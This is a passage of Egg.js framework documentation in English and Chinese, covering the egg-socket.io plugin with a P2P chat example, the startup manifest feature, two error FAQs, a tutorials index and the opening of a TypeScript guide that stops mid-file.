  const { router, controller, io } = app;
  router.get('/', controller.home.index); // socket.io

  io.of('/').route('exchange', io.controller.nsp.exchange);
};
```

Open two tab pages and call up the console:

```js
socket.emit('exchange', {
  target: '/webrtc#Dkn3UXSu8_jHvKBmAAHW',
  payload: {
    msg: 'test',
  },
});
```

![](https://raw.githubusercontent.com/eggjs/egg/master/docs/assets/socketio-console.png)

## Reference Links

* [socket.io]
* [egg-socket.io]
* [egg-socket.io example](https://github.com/eggjs/egg-socket.io/tree/master/example)

[socket.io]: https://socket.io

[egg-socket.io]: https://github.com/eggjs/egg-socket.io

[uws]: https://github.com/uWebSockets/uWebSockets

---

---
url: /zh-CN/tutorials/socketio.md
---
# Socket.IO

**Socket.IO** 是一个基于 Node.js 的实时应用程序框架。在即时通讯、通知与消息推送，实时分析等场景中有较为广泛的应用。

WebSocket 的产生源于 Web 开发中日益增长的实时通信需求。对比传统的基于 http 的轮询方式，它大大节约了网络带宽，同时也降低了服务器的性能消耗。`socket.io` 支持 websocket 和 polling 两种数据传输方式，以兼容不支持 WebSocket 的浏览器。

框架提供了 `egg-socket.io` 插件，增加了以下开发规约：

* namespace：通过配置的方式定义 namespace（命名空间）。
* middleware：对每一次 socket 连接的建立/断开、每一次消息/数据传递进行预处理。
* controller：响应 `socket.io` 的 event 事件。
* router：统一了 `socket.io` 的 event 与框架路由的处理配置方式。

## 安装 egg-socket.io

### 安装

```bash
$ npm i egg-socket.io --save
```

**开启插件：**

```javascript
// {app_root}/config/plugin.js
exports.io = {
  enable: true,
  package: 'egg-socket.io',
};
```

### 配置

```javascript
// {app_root}/config/config.${env}.js
exports.io = {
  init: {}, // 传递给 engine.io
  namespace: {
    '/': {
      connectionMiddleware: [],
      packetMiddleware: [],
    },
    '/example': {
      connectionMiddleware: [],
      packetMiddleware: [],
    },
  },
};
```

> 命名空间为 `/` 与 `/example`，而不是 `example`。

#### uws

**Egg Socket 内部默认使用 `ws` 引擎。`uws` 因为[某些原因](https://github.com/socketio/socket.io/issues/3319)被废止了。**

如果坚持要使用 `uws`，请按照以下配置：

```javascript
// {app_root}/config/config.${env}.js
exports.io = {
  init: { wsEngine: 'uws' }, // 默认是 ws
};
```

#### redis

`egg-socket.io` 内置了 `socket.io-redis`。在 cluster 模式下，使用 redis 可以简单地实现 clients/rooms 等信息共享。

```javascript
// {app_root}/config/config.${env}.js
exports.io = {
    redis: {
        host: { redis server host },
        port: { redis server port },
        auth_pass: { redis server password },
        db: 0,
    },
};
```

> 开启 `redis` 后，程序在启动时会尝试连接到 redis 服务器。此处的 `redis` 仅用于存储连接实例信息，详见 [#server.adapter](https://socket.io/docs/server-api/#server-adapter-value)。

**注意：**
如果项目中同时使用了 `@eggjs/redis`，请分别配置，不可共用。

### 部署

由于框架是以 Cluster 方式启动的，而 `socket.io` 协议实现需要 sticky 特性支持，在多进程模式下才能正常工作。

由于 `socket.io` 的设计，多进程服务器必须在 `sticky` 模式下工作。因此，需要给 startCluster 传递 sticky 参数。

修改 `package.json` 中的 npm scripts 脚本：

```json
{
  "scripts": {
    "dev": "egg-bin dev --sticky",
    "start": "egg-scripts start --sticky"
  }
}
```

**Nginx 配置**

```nginx
location / {
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $host;
    proxy_pass   http://127.0.0.1:7001;
```

## 使用 `egg-socket.io`

开启 [egg-socket.io] 的项目目录结构如下：

```
chat
├── app
│   ├── extend
│   │   └── helper.js
│   ├── io
│   │   ├── controller
│   │   │   └── default.js
│   │   └── middleware
│   │       ├── connection.js
│   │       └── packet.js
│   └── router.js
├── config
└── package.json
```

> 注意：对应的文件都在 `app/io` 目录下。

### Middleware

中间件有以下两种场景：

* Connection
* Packet

它们的配置位于各个命名空间下，根据上述两种场景分别起作用。

**注意：**

如果启用了框架中间件，会在项目中发现以下目录：

* `app/middleware`：框架中间件。
* `app/io/middleware`：插件中间件。

两者的区别：

* 框架中间件基于 HTTP 模型设计，处理 HTTP 请求。
* 插件中间件基于 socket 模型设计，处理 `socket.io` 请求。

虽然框架通过插件尽量统一了它们的风格，但必须注意，它们的使用场景是不同的。详情请参见 issue [#1416](https://github.com/eggjs/egg/issues/1416)。

#### Connection

每个客户端连接或退出时起作用。因此，通常在这一步进行授权认证，并对认证失败的客户端进行处理。

```js
// {app_root}/app/io/middleware/connection.js
module.exports = (app) => {
  return async (ctx, next) => {
    ctx.socket.emit('res', 'connected!');
    await next();
    // execute when disconnect.
    console.log('disconnection!');
  };
};
```

踢出用户示例：

```js
const tick = (id, msg) => {
  logger.debug('#tick', id, msg);
  socket.emit(id, msg);
  app.io.of('/').adapter.remoteDisconnect(id, true, (err) => {
    logger.error(err);
  });
};
```

针对当前连接的简单处理示例：

```js
// {app_root}/app/io/middleware/connection.js
module.exports = (app) => {
  return async (ctx, next) => {
    if (true) {
      ctx.socket.disconnect();
      return;
    }
    await next();
    console.log('disconnection!');
  };
};
```

#### Packet

每条数据包（消息）都会执行该中间件。在生产环境中，通常用于对消息做预处理，或者对加密消息进行解密等操作。

```js
// {app_root}/app/io/middleware/packet.js
module.exports = (app) => {
  return async (ctx, next) => {
    ctx.socket.emit('res', 'packet received!');
    console.log('packet:', ctx.packet);
    await next();
  };
};
```

### Controller

Controller 对客户端发送的 event 进行处理；由于其继承自 `egg.Controller`，拥有以下成员对象：

* `ctx`
* `app`
* `service`
* `config`
* `logger`

详情参考 [Controller](../basics/controller.md) 文档。

```js
// {app_root}/app/io/controller/default.js
'use strict';

const Controller = require('egg').Controller;

class DefaultController extends Controller {
  async ping() {
    const { ctx } = this;
    const message = ctx.args[0];
    await ctx.socket.emit('res', `Hi! I've got your message: ${message}`);
  }
}

module.exports = DefaultController;
```

### Router

路由负责将 socket 连接的不同 events 分发到对应的 controller，框架统一了其使用方式。

```js
// {app_root}/app/router.js

module.exports = (app) => {
  const { router, controller, io } = app;

  // default
  router.get('/', controller.home.index);

  // socket.io
  io.of('/').route('server', io.controller.home.server);
};
```

**注意：**

`nsp` 有如下的系统事件：

* `disconnecting`：正在断开连接。
* `disconnect`：连接已断开。
* `error`：发生错误。

### Namespace/Room

#### Namespace (nsp)

`namespace` 通常意味着分配到不同的接入点或者路径，如果客户端没有指定 `nsp`，则默认分配到 "/" 这个默认的命名空间。

在 socket.io 中我们通过 `of` 来划分命名空间；鉴于 `nsp` 通常是预定义且相对固定的存在，框架将其进行了封装，采用配置的方式来划分不同的命名空间。

```js
// socket.io
const nsp = io.of('/my-namespace');
nsp.on('connection', (socket) => {
  console.log('someone connected');
});
nsp.emit('hi', 'everyone!');

// egg
exports.io = {
  namespace: {
    '/': {
      connectionMiddleware: [],
      packetMiddleware: [],
    },
  },
};
```

#### Room

`room` 存在于 `nsp` 中，通过 `join`/`leave` 方法来加入或者离开；框架中使用方法相同。

```js
const room = 'default_room';

module.exports = (app) => {
  return async (ctx, next) => {
    ctx.socket.join(room);
    ctx.app.io
      .of('/')
      .to(room)
      .emit('online', { msg: 'welcome', id: ctx.socket.id });
    await next();
    console.log('disconnection!');
  };
};
```

**注意：** 每一个 socket 连接都会拥有一个随机且不可预测的唯一 id `Socket#id`，并且会自动加入到以这个 `id` 命名的 `room` 中。

## 实例

这里我们使用 [egg-socket.io](https://github.com/eggjs/egg-socket.io) 来做一个支持 P2P 聊天的小例子。

### 客户端

UI 相关的内容不重复编写，通过 `window.socket` 调用即可。

```js
// 浏览器
const log = console.log;

window.onload = function () {
  // 初始化
  const socket = io('/', {
    // 实际使用中可以在这里传递参数
    query: {
      room: 'demo',
      userId: `client_${Math.random()}`, // 传递了 room 和 userId 两个参数
    },

    transports: ['websocket'],
  });

  socket.on('connect', () => {
    const id = socket.id;

    log('#connect,', id, socket);

    // 监听自身 id，以实现 P2P 通讯
    socket.on(id, (msg) => {
      log('#receive,', msg);
    });
  });

  // 接收在线用户信息
  socket.on('online', (msg) => {
    log('#online,', msg);
  });

  // 系统事件
  socket.on('disconnect', (msg) => {
    log('#disconnect', msg);
  });

  socket.on('disconnecting', () => {
    log('#disconnecting');
  });

  socket.on('error', () => {
    log('#error');
  });

  window.socket = socket;
};
```

#### 微信小程序

微信小程序提供的 API 为 `WebSocket` ，因为 `socket.io` 是 `WebSocket` 的上层封装，所以我们无法直接使用小程序的 API 连接。可以使用类似 [weapp.socket.io](https://github.com/wxsocketio/weapp.socket.io) 的库适配。

示例代码如下：

```js
// 小程序端示例代码
const io = require('./your_path/weapp.socket.io.js'); // 请替换成实际路径

const socket = io('http://localhost:8000');

socket.on('connect', function () {
  console.log('connected');
});

socket.on('news', (d) => {
  console.log('received news:', d);
});

socket.emit('news', {
  title: 'this is a news',
});
```

### server

以下是 `demo` 的部分代码，并解释了各个方法的作用。

#### config

```js
// {app_root}/config/config.${env}.js
exports.io = {
  namespace: {
    '/': {
      connectionMiddleware: ['auth'],
      packetMiddleware: [], // 针对消息的处理暂时不实现
    },
  },

  // cluster 模式下，通过 redis 实现数据共享
  redis: {
    host: '127.0.0.1',
    port: 6379,
  },
};

// 可选
exports.redis = {
  client: {
    port: 6379,
    host: '127.0.0.1',
    password: '',
    db: 0,
  },
};
```

#### helper

框架扩展用于封装数据格式。

```js
// {app_root}/app/extend/helper.js

module.exports = {
  parseMsg(action, payload = {}, metadata = {}) {
    const meta = Object.assign({}, { timestamp: Date.now() }, metadata);

    return {
      meta,
      data: {
        action,
        payload,
      },
    };
  },
};
```

Format：

```js
{
  data: {
    action: 'exchange', // 'deny' || 'exchange' || 'broadcast'
    payload: {}
  },
  meta: {
    timestamp: 1512116201597,
    client: 'nNx88r1c5WuHf9XuAAAB',
    target: 'nNx88r1c5WuHf9XuAAAB'
  }
}
```

#### 中间件

[egg-socket.io] 中间件负责处理 socket 连接。

```js
// {app_root}/app/io/middleware/auth.js

const PREFIX = 'room';

module.exports = () => {
  return async (ctx, next) => {
    const { app, socket, logger, helper } = ctx;
    const id = socket.id;
    const nsp = app.io.of('/');
    const query = socket.handshake.query;

    // 用户信息
    const { room, userId } = query;
    const rooms = [room];

    logger.debug('#user_info', id, room, userId);

    const tick = (id, msg) => {
      logger.debug('#tick', id, msg);

      // 踢出用户前发送信息
      socket.emit(id, helper.parseMsg('deny', msg));

      // 调用 adapter 方法踢出用户，客户端会触发 disconnect 事件
      nsp.adapter.remoteDisconnect(id, true, (err) => {
        logger.error(err);
      });
    };

    // 检查房间是否存在，不存在则踢出用户
    // 注：此处 app.redis 与插件无关，可用其他存储替代
    const hasRoom = await app.redis.get(`${PREFIX}:${room}`);

    logger.debug('#has_exist', hasRoom);

    // 若房间不存在
    if (!hasRoom) {
      tick(id, {
        type: 'deleted',
        message: 'deleted, room has been deleted.',
      });
      return;
    }

    // 用户加入房间
    logger.debug('#join', room);
    socket.join(room);

    // 获取在线列表
    nsp.adapter.clients(rooms, (err, clients) => {
      logger.debug('#online_join', clients);

      // 更新在线用户列表
      nsp.to(room).emit('online', {
        clients,
        action: 'join',
        target: 'participator',
        message: `User(${id}) joined.`,
      });
    });

    await next();

    // 用户离开房间
    logger.debug('#leave', room);

    // 获取在线列表
    nsp.adapter.clients(rooms, (err, clients) => {
      logger.debug('#online_leave', clients);

      // 更新在线用户列表
      nsp.to(room).emit('online', {
        clients,
        action: 'leave',
        target: 'participator',
        message: `User(${id}) leaved.`,
      });
    });
  };
};
```

#### 控制器

P2P 通信，通过 exchange 方法实现数据交换。

```js
// {app_root}/app/io/controller/nsp.js
const Controller = require('egg').Controller;

class NspController extends Controller {
  async exchange() {
    const { ctx, app } = this;
    const nsp = app.io.of('/');
    const message = ctx.args[0] || {};
    const socket = ctx.socket;
    const client = socket.id;

    try {
      const { target, payload } = message;
      if (!target) return;
      const msg = ctx.helper.parseMsg('exchange', payload, { client, target });
      nsp.emit(target, msg);
    } catch (error) {
      app.logger.error(error);
    }
  }
}

module.exports = NspController;
```

#### router

```js
// {app_root}/app/router.js
module.exports = (app) => {
  const { router, controller, io } = app;
  router.get('/', controller.home.index);

  // socket.io
  io.of('/').route('exchange', io.controller.nsp.exchange);
};
```

打开两个 tab 页面，并调出控制台：

```js
socket.emit('exchange', {
  target: 'Dkn3UXSu8_jHvKBmAAHW',
  payload: {
    msg: 'test',
  },
});
```

![](https://raw.githubusercontent.com/eggjs/egg/master/docs/assets/socketio-console.png)

## 参考链接

* [socket.io](https://socket.io)
* [egg-socket.io](https://github.com/eggjs/egg-socket.io)
* [egg-socket.io 示例](https://github.com/eggjs/egg-socket.io/tree/master/example)（egg-socket.io example）
* [egg-socket.io 演示](https://github.com/eggjs-community/demo-egg-socket.io)（egg-socket.io demo）
* [nginx 代理绑定](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_bind)（nginx proxy\_bind）

[socket.io]: https://socket.io

[egg-socket.io]: https://github.com/eggjs/egg-socket.io

[uws]: https://github.com/uWebSockets/uWebSockets

---

---
url: /core/manifest.md
---
# Startup Manifest

Egg provides a startup manifest mechanism that caches file discovery and module resolution results to accelerate application cold starts.

## How It Works

Every time an application starts, the framework performs extensive filesystem operations:

* **Module resolution**: Hundreds of `fs.existsSync` calls probing `.ts`, `.js`, `.mjs` extensions
* **File discovery**: Multiple `globby.sync` scans across plugin, config, and extension directories
* **tegg module scanning**: Traversing module directories and `import()`-ing decorator files to collect metadata

The manifest mechanism collects these results on the first startup and writes them to `.egg/manifest.json`. Subsequent startups read from this cache, skipping redundant file I/O.

## Performance Improvement

Measured on cnpmcore in a container cold-start scenario (no filesystem page cache):

| Metric      | No Manifest | With Manifest | Improvement |
| ----------- | ----------- | ------------- | ----------- |
| App Start   | ~980ms      | ~780ms        | **~20%**    |
| Load Files  | ~660ms      | ~490ms        | **~26%**    |
| Load app.js | ~280ms      | ~150ms        | **~46%**    |

> Note: In local development, the OS page cache makes file I/O nearly zero-cost, so the improvement is negligible. The manifest primarily optimizes container cold starts and CI/CD environments without warm caches.

## Usage

### CLI Management (Recommended)

`egg-bin` provides a `manifest` command to manage the startup manifest:

#### Generate

```bash
# Generate for production
$ egg-bin manifest generate --env=prod

# Specify environment and scope
$ egg-bin manifest generate --env=prod --scope=aliyun

# Specify framework
$ egg-bin manifest generate --env=prod --framework=yadan
```

The generation process boots the app in `metadataOnly` mode (skipping lifecycle hooks, only collecting metadata), then writes the results to `.egg/manifest.json`.

#### Validate

```bash
$ egg-bin manifest validate --env=prod
```

Example output:

```
[manifest] Manifest is valid
[manifest]   version: 1
[manifest]   generatedAt: 2026-03-29T12:13:18.039Z
[manifest]   serverEnv: prod
[manifest]   serverScope:
[manifest]   resolveCache entries: 416
[manifest]   fileDiscovery entries: 31
[manifest]   extension entries: 1
```

If the manifest is invalid or missing, the command exits with a non-zero code.

#### Clean

```bash
$ egg-bin manifest clean
```

### Automatic Generation

After a normal startup, the framework automatically generates a manifest during the `ready` phase (via `dumpManifest`). On the next startup, if the manifest is valid, it is automatically used.

## Invalidation

The manifest includes fingerprint data and is automatically invalidated when:

* **Lockfile changes**: `pnpm-lock.yaml`, `package-lock.json`, or `yarn.lock` mtime or size changes
* **Config directory changes**: Files in `config/` change (MD5 fingerprint)
* **Environment mismatch**: `serverEnv` or `serverScope` differs from the manifest
* **TypeScript state change**: `EGG_TYPESCRIPT` enabled/disabled state changes
* **Version mismatch**: Manifest format version differs

When the manifest is invalid, the framework falls back to normal file discovery — startup is never blocked.

## Environment Variables

| Variable       | Description                  | Default                                               |
| -------------- | ---------------------------- | ----------------------------------------------------- |
| `EGG_MANIFEST` | Enable manifest in local env | `false` (manifest not loaded in local env by default) |

> Local development (`serverEnv=local`) does not load the manifest by default, since files change frequently. Set `EGG_MANIFEST=true` to force-enable.

## Deployment Recommendations

### Container Deployment

Generate the manifest in your Dockerfile after building:

```dockerfile
# Install dependencies and build
RUN npm install --production
RUN npm run build

# Generate startup manifest
RUN npx egg-bin manifest generate --env=prod

# Start the app (manifest is used automatically)
CMD ["npm", "start"]
```

### CI/CD Pipelines

Generate the manifest during the build stage and deploy it with the artifact:

```bash
# Build
npm run build

# Generate manifest
npx egg-bin manifest generate --env=prod

# Validate manifest
npx egg-bin manifest validate --env=prod

# Package (includes .egg/manifest.json)
tar -zcvf release.tgz .
```

## Important Notes

1. **Environment-bound**: The manifest is bound to `serverEnv` and `serverScope` (deployment type, e.g. `aliyun`). Different environments or deployment types require separate manifests.
2. **Regenerate after dependency changes**: Installing or updating dependencies changes the lockfile, which automatically invalidates the manifest.
3. **`.egg` directory**: The manifest is stored at `.egg/manifest.json`. Consider adding `.egg/` to `.gitignore`.
4. **Safe fallback**: A missing or invalid manifest causes the framework to fall back to normal discovery — startup is never broken.
5. **metadataOnly mode**: `manifest generate` does not run the full application lifecycle — no database connections or external services are started.

---

---
url: /faq/TEGG_EGG_PROTO_NOT_FOUND.md
---
# TEGG\_EGG\_PROTO\_NOT\_FOUND

## Problem

```bash
framework.EggPrototypeNotFound: Object foo not found in LOAD_UNIT:appPort
```

## Cause

The corresponding Proto was not found in the current Egg Module, resulting in injection failure.

## Solution

1. Ensure that the corresponding Proto is defined in the current Module.
2. Ensure that the Proto's access level is set to `AccessLevel.PUBLIC`.
3. Ensure that the Proto's name is correct.
4. Ensure that the Proto's instantiation method is correct.
5. Ensure that the Proto's instantiation name is correct.
6. Ensure that the Proto's instantiation access level is correct.
7. Ensure that the Proto's instantiation instance name is correct.

## Example

```ts
import { SingletonProto, AccessLevel } from 'egg';

@SingletonProto({
  // Ensure the Proto's access level is PUBLIC
  accessLevel: AccessLevel.PUBLIC, // [!code focus]
})
export class Foo {
  async bar(): Promise<string> {
    return 'bar';
  }
}
```

---

---
url: /zh-CN/faq/TEGG_EGG_PROTO_NOT_FOUND.md
---
# TEGG\_EGG\_PROTO\_NOT\_FOUND

## 问题

```bash
framework.EggPrototypeNotFound: Object foo not found in LOAD_UNIT:appPort
```

## 原因

未在当前 Egg Module 中找到对应的 Proto，导致注入失败。

## 解决方法

1. 确保在当前 Module 中定义了对应的 Proto。
2. 确保 Proto 的访问级别为 `AccessLevel.PUBLIC`。
3. 确保 Proto 的名称正确。
4. 确保 Proto 的实例化方式正确。
5. 确保 Proto 的实例化名称正确。
6. 确保 Proto 的实例化访问级别正确。
7. 确保 Proto 的实例化实例化名称正确。

## 示例

```ts
import { SingletonProto, AccessLevel } from 'egg';

@SingletonProto({
  // 确保 Proto 的访问级别为 PUBLIC
  accessLevel: AccessLevel.PUBLIC, // [!code focus]
})
export class Foo {
  async bar(): Promise<string> {
    return 'bar';
  }
}
```

---

---
url: /faq/TEGG_ROUTER_CONFLICT.md
---
# TEGG\_ROUTER\_CONFLICT

## Issue

```bash
framework.RouterConflictError: register http controller GET AppController2.get failed, GET /apps/:id is conflict with exists rule /apps/:id
```

## Cause

Route conflict.

## Solution

1. Ensure route rules are unique.
2. Ensure route rules are correct.

## Example

Both AppController.get and AppController2.get define the /apps/:id route, causing a route conflict.

```ts
@Controller('/apps') // [!code focus]
export class AppController {
  @Get('/:id') // [!code focus]
  async get(@Param('id') id: string) {
    return this.app.apps.get(id);
  }
}
```

```ts
@Controller('/apps') // [!code focus]
export class AppController2 {
  @Get('/:id') // [!code focus]
  async get(@Param('id') id: string) {
    return this.app.apps.get(id);
  }
}
```

---

---
url: /zh-CN/faq/TEGG_ROUTER_CONFLICT.md
---
# TEGG\_ROUTER\_CONFLICT

## 问题

```bash
framework.RouterConflictError: register http controller GET AppController2.get failed, GET /apps/:id is conflict with exists rule /apps/:id
```

## 原因

路由冲突。

## 解决方法

1. 确保路由规则唯一。
2. 确保路由规则正确。

## 示例

AppController.get 和 AppController2.get 都定义了 /apps/:id 路由，导致路由冲突。

```ts
@Controller('/apps') // [!code focus]
export class AppController {
  @Get('/:id') // [!code focus]
  async get(@Param('id') id: string) {
    return this.app.apps.get(id);
  }
}
```

```ts
@Controller('/apps') // [!code focus]
export class AppController2 {
  @Get('/:id') // [!code focus]
  async get(@Param('id') id: string) {
    return this.app.apps.get(id);
  }
}
```

---

---
url: /tutorials.md
---

* [Quick Start](../intro/quickstart.md)
* [Progressive Development](../intro/progressive.md)
* [RESTful API](./restful.md)

## Boilerplate Type Description

You can use boilerplate type like this:

```bash
$ npm init egg --type=simple
```

### Options

| boilerplate type |                Description |
| :--------------: | -------------------------: |
|      simple      | Simple egg app boilerplate |
|      empty       |  Empty egg app boilerplate |
|      plugin      |     egg plugin boilerplate |
|    framework     |  egg framework boilerplate |

## Template Engines

Build in [@eggjs/view] as template engine solution and support multiple render, which is called by plugin but keeping the consistent render API. Refer to [how to use templates](../core/view.md)，More details on [template plugin development](../advanced/view-plugin.md).

Template engines available as shown below. For more template engines [searching](https://github.com/search?utf8=%E2%9C%93\&q=topic%3Aegg-view\&type=Repositories\&ref=searchresults)

* [egg-view-nunjucks]
* [egg-view-ejs]
* [egg-view-handlebars]
* [egg-view-pug]
* [egg-view-xtpl]

## Databases

Official maintained ORM model is [egg-orm] base on [Leoric], and the following database plugins are currently available:

* [egg-orm]
* [egg-sequelize]
* [egg-mongoose]
* [egg-mysql]，refer to [MySQL tutorials](./mysql.md)
* [@eggjs/redis]，refer to [Redis tutorials](./redis.md)
* \[egg-graphql]

[egg-sequelize]: https://github.com/eggjs/egg-sequelize

[egg-mongoose]: https://github.com/eggjs/egg-mongoose

[egg-mysql]: https://github.com/eggjs/egg-mysql

[@eggjs/view]: https://github.com/eggjs/egg/blob/master/plugins/view/README.md

[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks

[egg-view-ejs]: https://github.com/eggjs/egg-view-ejs

[egg-view-handlebars]: https://github.com/eggjs/egg-view-handlebars

[egg-view-pug]: https://github.com/chrisyip/egg-view-pug

[egg-view-xtpl]: https://github.com/eggjs/egg-view-xtpl

[egg-orm]: https://github.com/eggjs/egg-orm/blob/master/Readme.md

[Leoric]: https://leoric.js.org

[@eggjs/redis]: https://github.com/eggjs/egg/tree/next/plugins/redis

---

---
url: /tutorials/typescript.md
---
# TypeScript

> [TypeScript](https://www.typescriptlang.org/) is a typed superset of JavaScript that compiles to plain JavaScript.

For a large number of enterprises' applications, TypeScript's static type checking, intellisense, friendly IDE are valuable. For more please see [System Research Report For TypeScript](https://juejin.im/post/59c46bc86fb9a00a4636f939).

However, we've met some problems influencing users' experience when developing Egg in TypeScript:

* The most outstanding Loader Mechanism (Auto-loading) makes TS not analyze dependencies in static.
* How to validate and show intellisense in `config.{env}.js`, when we modify settings by plugin and these configurations are automatically merged?
* During the period of developing, `tsc -w` is created as an independent process to build up codes, it makes us entangled about where to save the temporary files, and the complicated `npm scripts`.
* How to map to the TS source files instead of compiled js files in unit tests, coverage tests and error stacks online?

This article mainly describes:

* **Developing principles of TS for the application layer.**
* **How do we solve the problem for developers with the help of the tool chain so that they have no scene about it and keep in consistency**

For more about this tossing process, please see [\[RFC\] TypeScript tool support](https://github.com/eggjs/egg/issues/2272).

***

## Quick Start

A quick initialization through the boilerplate:

```bash
$ mkdir showcase && cd showcase
$ npm init egg --type=ts
$ npm i
$ npm run dev
```

The boilerplate above will create a very simple example, for a detailed one please see [eggjs/examples/hackernews-async-ts](https://github.com/eggjs/examples/tree/master/hackernews-async-ts)

![tegg.gif](https://user-images.githubusercontent.com/227713/38358019-bf7890fa-38f6-11e8-8955-ea072ac6dc8c.gif)

***

## Principles of Catalogs

**Some constraints:**

* We've no plans for re-writing Egg in TS yet.
* Egg itself, with its plugin, will have corresponding `index.d.ts` for users to use easily.
* TypeScript only belongs to a communication practice. We support it to some extent with our tool chain.
* TypeScript's version MUST BE 2.8 at least.

There's no obvious difference between TS's project and Egg's in js:

* The suffix is `ts` in `typescript` style
* `typings` folder is used to put `d.ts` files (most of them are automatically created)

```bash
showcase
├── app
│   ├── controller
│   │   └── home.ts
│   ├── service
│   │   └── news.ts
│   └── router.ts
├── config
│   ├── config.default.ts
│   ├── config.local.ts
│   ├── config.prod.ts
│   └── plugin.ts
├── test
│   └── **/*.test.ts
├── typings
│   └── **/*.d.ts
├── README.md
├── package.json
├── tsconfig.json
└── tslint.json
```

### Controller

```typescript
// app/controller/home.ts
import { Controller } from 'egg';

export default class HomeController extends Controller {
  public async index() {
    const { ctx, service } = this;
    const page = ctx.query.page;
    const result = await service.news.list(page);
    await ctx.render('home.tpl', result);
  }
}
```

### Router

```typescript
// app/router.ts
import { Application } from 'egg';

export default (app: Application) => {
  const { router, controller } = app;
  router.get('/', controller.home.index);
};
```

### Service

```typescript
// app/service/news.ts
import { Service } from 'egg';

export default class NewsService extends Service {
  public async list(page?: number): Promise<NewsItem[]> {
    return [];
  }
}

export interface NewsItem {
  id: number;
  title: string;
}
```

### Middleware

```typescript
// app/middleware/robot.ts

import { Context } from 'egg';

// Your own middleware here
export default function fooMiddleware() {
  return async (ctx: Context, next: any) => {
    // Get configs like this：
    // const config = ctx.app.config;
    // config.xxx....
    await next();
  };
}
```

When some property's name in config matches your middleware files's, Egg will automatically read out all of its sub properties.

Let's assume you've got a middleware named `uuid`, and its config.default.js is:

```javascript
'use strict';

import { EggAppConfig, PowerPartial } from 'egg';

export default function(appInfo: EggAppConfig) {
  const config = {} as PowerPartial<EggAppConfig>;

  config.keys = appInfo.name + '123123';

  config.middleware = ['uuid'];

  config.security = {
    csrf: {
      ignore: '123',
    },
  };

  const bizConfig = {
    local: {
      msg: 'local',
    },

    uuid: {
      name: 'ebuuid',
      maxAge: 1000 * 60 * 60 * 24 * 365 * 10,
    },
  };

  return {
    ...config,
    ...bizConfig,
  };
}
```

In `uuid` middleware:

```typescript
// app/middleware/uuid.ts

import { Context, Application, EggAppConfig } from 'egg';

export default function uuid(
  options: EggAppConfig['uuid'],
  app: Application,
): any {
  return async (ctx: Context, next: () => Promise<any>) => {
    // The 'name' is just the sub prop in uuid in the config.default.js
    console.info(options.name);
    await next();
  };
}
```

**Notice: The return value of any middleware must be `any` now, otherwise there's a compiling error about the compatibility of context between Koa's context in route.get/all and Egg's Context.**

### Extend

```typescript
// app/extend/context.ts
import { Context } from 'egg';

export default {
  isAjax(this: Context) {
    return this.get('X-Requested-With') === 'XMLHttpRequest';
  },
};

// app.ts
export default (app) => {
  app.beforeStart(async () => {
    await Promise.resolve('egg + ts');
  });
};
```

### Config

Config is a little complicated, because it supports:

* In Controller and Service, we need "multi-layer" intellisense configurations, they are automatically related to each other.
* In Config, `config.view = {}` will also support intellisense.
* In `config.{env}.ts`, we can use customized configuration settings with intellisense in `config.default.ts`.

```typescript
// app/config/config.default.ts
import { EggAppInfo, EggAppConfig, PowerPartial } from 'egg';

export default (appInfo: EggAppInfo) => {
  const config = {} as PowerPartial<EggAppConfig>;

  // Override the configs of framework and plugins
  config.keys = appInfo.name + '123456';
  config.view = {
    defaultViewEngine: 'nunjucks',
    mapping: {
      '.tpl': 'nunjucks',
    },
  };

  // Configs of application
  const bizConfig = {};
  bizConfig.news = {
    pageSize: 30,
    serverUrl: 'https://hacker-news.firebaseio.com/v0',
  };

  // We merge the business logic's configs into AppConfig as the return value
  return {
    // If we directly return you config and merge it into EggAppConfig, there'll be a circulate type error
    ...(config as {}),
    ...bizConfig,
  };
};
```

When `EggAppConfig` is merged with the returned type of `config.default.ts`, we can also get the intellisenses of our customized configs in `config.default.ts` like this following:

```typescript
// app/config/config.local.ts
import { EggAppConfig } from 'egg';

export default () => {
  const config = {} as PowerPartial<EggAppConfig>;
  // Now we can get the intellisenses of 'news'
  config.news = {
    pageSize: 20,
  };
  return config;
};
```

Remarks:

* `Conditional Types` is the KEY to solving config's intellisense.
* Anyone if interested in this, have a look at the implement of `PowerPartial` at [egg/index.d.ts](https://github.com/eggjs/egg/blob/master/index.d.ts).

```typescript
// {egg}/index.d.ts
type PowerPartial<T> = {
  [U in keyof T]?: T[U] extends {} ? PowerPartial<T[U]> : T[U];
};
```

### Plugin

```javascript
// config/plugin.ts
import { EggPlugin } from 'egg';

const plugin: EggPlugin = {
  static: true,
  nunjucks: {
    enable: true,
    package: 'egg-view-nunjucks',
  },
};

export default plugin;
```

### Lifecycle

```typescript
// app.ts
import { Application, IBoot } from 'egg';

export default class FooBoot implements IBoot {
  private readonly app: Application;

  constructor(app: Application) {
    this.app = app;
  }

  configWillLoad() {
    // Ready to call configDidLoad,
    // Config, plugin files are referred,
    // this is the last chance to modify the config.
  }

  configDidLoad() {
    // Config, plugin files have loaded.
  }

  async didLoad() {
    // All files have loaded, start plugin here.
  }

  async willReady() {
    // All plugins have started, can do some thing before app ready.
  }

  async didReady() {
    // Worker is ready, can do some things
    // don't need to block the app boot.
  }

  async serverDidReady() {
    // Server is listening.
  }

  async beforeClose() {
    // Do some thing before app close.
  }
}
```

### Typings

The folder is the principle of TS, where `**/*.d.ts` are automatically recognized.

* Put developers' hand-writing suggestions in `typings/index.d.ts`.
* Tools will automatically generate `typings/{app,config}/**.d.ts`. Please DO NOT change manually (See below).

***

## Developing period

### ts-node

`egg-bin` has built [ts-node](https://github.com/TypeStrong/ts-node) in, and `egg loader` will automatically load `*.ts` and compile them in memory during the period of development.

Now `dev` / `debug` / `test` / `cov` are supported.

Developers only need to config in `package.json` simply:

```json
{
  "name": "showcase",
  "egg": {
    "typescript": true
  }
}
```

### Unit Test and Cov

Unit Test is a MUST in development:

```typescript
// test/app/service/news.test.ts
import assert from 'assert';
import { Context } from 'egg';
import { app } from 'egg-mock/bootstrap';

describe('test/app/service/news.test.js', () => {
  let ctx: Context;

  before(async () => {
    ctx = app.mockContext();
  });

  it('list()', async () => {
    const list = await ctx.service.news.list();
    assert(list.length === 30);
  });
});
```

Run commands as what you do before, and we've built `Error stacks and coverages` in.

```json
{
  "name": "showcase",
  "egg": {
    "declarations": true
  },
  "scripts": {
    "test": "npm run lint -- --fix && npm run test-local",
